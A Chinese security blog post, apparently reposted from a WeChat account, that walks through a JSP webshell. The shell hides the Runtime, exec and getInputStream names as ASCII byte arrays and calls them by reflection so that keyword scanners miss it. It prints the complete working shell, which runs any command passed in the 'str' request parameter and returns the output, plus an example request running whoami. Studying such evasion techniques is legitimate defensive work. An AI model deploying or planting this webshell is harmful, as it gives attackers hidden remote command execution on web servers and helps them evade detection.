扫一扫关注公众号,长期致力于安全研究
前言:最近拿到一个有意思的一句话,是通过反射调用
环境的话,直接用maven搭起来的。用的servlet来进行测试的
Pom.xml引入一下servlet即可,直接贴下方了
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>3.1.0</version>
</dependency>
大致流程如下:其实比较简单,通过str参数来进行操作,而后续就是通过反射机制来进行获取拼接并最终执行。
<%
String str = request.getParameter("str");
// 定义"java.lang.Runtime"字符串变量
String rt = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101});
// 反射java.lang.Runtime类获取Class对象
Class<?> c = Class.forName(rt);
// 反射获取Runtime类的getRuntime方法
Method m1 = c.getMethod(new String(new byte[]{103, 101, 116, 82, 117, 110, 116, 105, 109, 101}));
// 反射获取Runtime类的exec方法
Method m2 = c.getMethod(new String(new byte[]{101, 120, 101, 99}), String.class);
// 反射调用Runtime.getRuntime().exec(xxx)方法
Object obj2 = m2.invoke(m1.invoke(null, new Object[]{}), new Object[]{str});
// 反射获取Process类的getInputStream方法
Method m = obj2.getClass().getMethod(new String(new byte[]{103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109}));
m.setAccessible(true);
// 获取命令执行结果的输入流对象:p.getInputStream()并使用Scanner按行切割成字符串
Scanner s = new Scanner((InputStream) m.invoke(obj2, new Object[]{})).useDelimiter("\A");
String result = s.hasNext() ? s.next() : "";
// 输出命令执行结果
out.println(result);
%>
首先给str传参即可,之后进行F8跟断点即可
localhost:8080/jsp_exec/test.jsp?str=whoami
当获取完参数之后,这里笔者发现前辈直接通过new String的方式来生成字符串,而没有像网上那种直接写入,而new String里面的构造传参就是ascii内容。
可以看出当执行完之后,rt的值,成为了Runtime
之后直接获取class对象
16-19行执行之后,通过getMethod来获取方法,这里传参的话笔者感觉很巧妙的。大佬别笑话就好...在思路方面确实是强
执行22行之后,其实命令就执行完成了,只是他这里为了让页面有回显,并再次调用了getInputStream()。
跟到最后进行输出到页面
下方扫一下扫,即可关注
原文始发于微信公众号(安全族):Java反射机制实现无关键字执行命令
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论